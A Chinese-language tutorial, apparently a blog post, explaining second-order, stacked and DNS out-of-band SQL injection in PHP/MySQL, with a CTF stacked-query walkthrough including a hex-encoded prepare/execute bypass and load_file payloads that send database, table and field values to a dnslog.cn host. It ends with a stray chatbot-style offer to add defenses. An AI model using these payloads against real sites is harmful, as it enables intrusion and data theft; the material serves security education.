前言

在Web攻防的SQL注入体系中,除了常规联合查询、布尔/延时/报错盲注外,二次注入、堆叠注入、DNS带外注入是PHP+MySQL环境下高频且实用的进阶注入手法。本文结合原理、利用条件、实战案例,详解这三类注入的核心知识点与操作思路,新手重点理解原理,实战可借助74CMS、CTF靶场、DNSLOG平台复现。

知识点

1、PHP-MySQL-SQL注入-二次注入原理与利用条件
2、PHP-MySQL-SQL注入-堆叠注入原理与触发条件
3、PHP-MySQL-SQL注入-DNS带外注入原理、场景与Payload

章节点

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中…

演示案例

PHP-MySQL-SQL注入-二次注入(74CMS案例)
PHP-MySQL-SQL注入-堆叠注入(CTF强网杯案例)
PHP-MySQL-SQL注入-DNS带外注入(DNSLOG平台实操)

一、PHP-MySQL-SQL注入-二次注入

1. 原理

二次注入核心是**“分两步触发”**,本质是数据入库时转义、出库时无校验:

  1. 插入恶意数据:第一次输入含特殊字符(如')的恶意数据,代码转义后存入数据库,数据库中还原为原始恶意数据
  2. 引用恶意数据:后续业务逻辑直接从数据库取出该数据,未做二次过滤,带入SQL语句执行,触发注入。

2. 注入条件

  • 数据插入(insert)时有转义函数/配置,特殊字符仅临时转义;
  • 后续存在查询(select)、更新(update)等操作,直接引用已入库的恶意数据;
  • 黑盒:功能存在“添加→后续操作”的链路;白盒:insert后紧跟select/update代码块。

3. 实战案例(74CMS)

场景:用户注册→个人中心修改简历,简历内容入库后,修改功能直接引用简历数据,触发二次注入。

二、PHP-MySQL-SQL注入-堆叠注入

1. 原理

堆叠注入通过SQL结束符;拼接多条SQL语句,一次性执行多个命令,核心依赖数据库中间层支持多语句执行。

2. 触发条件(苛刻)

  1. 目标存在基础SQL注入漏洞;
  2. 未对;空格等关键符号过滤;
  3. 中间层使用mysqli_multi_query()(支持多语句),而非mysqli_query()(仅单语句);
  4. 数据库支持:MySQL、MSSQL、Postgresql等。

3. 实战案例(2019强网杯-随便注)

核心Payload(逐步查询):

';show databases;                -- 查所有数据库
';show tables;                    -- 查当前库所有表
';show columns from `1919810931114514`;  -- 查目标表字段
';select flag from `1919810931114514`;    -- 直接查flag
-- 过滤绕过(十六进制编码)
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

三、PHP-MySQL-SQL注入-DNS带外注入

1. 原理

无回显场景下,利用MySQLload_file()函数发起DNS请求,将查询数据拼接为自定义域名,通过DNSLOG平台接收DNS请求,间接获取数据。

2. 注入条件

  • 数据库为ROOT高权限;
  • 支持load_file()函数;
  • 注入点无回显(常规盲注效率低)。

3. 常用平台

  • http://ceye.io
  • http://www.dnslog.cn

4. 适用场景

解决无回显SQL注入、命令执行、SSRF等无法直接回显数据的场景。

5. 常用Payload

-- 查询当前数据库
id=1 and load_file(concat("\\\\",database(),".xxx.dnslog.cn\\aaa"))

-- 查询所有数据库(limit控制单字段回显)
id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".xxx.dnslog.cn\\xxx.txt"))

-- 查询当前库第一个表名
id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='库名' limit 0,1),".xxx.dnslog.cn\\xxx.txt"))

-- 查询指定表字段值
id=1 and load_file(concat("\\\\",(select 字段名 from 库名.表名 limit 0,1),".xxx.dnslog.cn\\xxx.txt"))

四、常见问题

Q1:二次注入和普通注入的核心区别?

普通注入直接将恶意参数带入SQL执行;二次注入需先入库、再出库,恶意数据经数据库中转,规避前端单次过滤,隐蔽性更强。

Q2:堆叠注入为什么难以触发?

核心限制是PHP默认用mysqli_query()(仅单语句),且多数站点过滤;,仅CTF靶场、部分老旧CMS易出现该漏洞。

Q3:DNS带外注入相比延时盲注的优势?

延时盲注需逐字符猜解,效率极低;DNS带外注入一次性回显完整数据,无猜解过程,是无回显场景的最优解。

要不要我帮你补充各注入手法的防御方案,完善博客的收尾部分?

更多推荐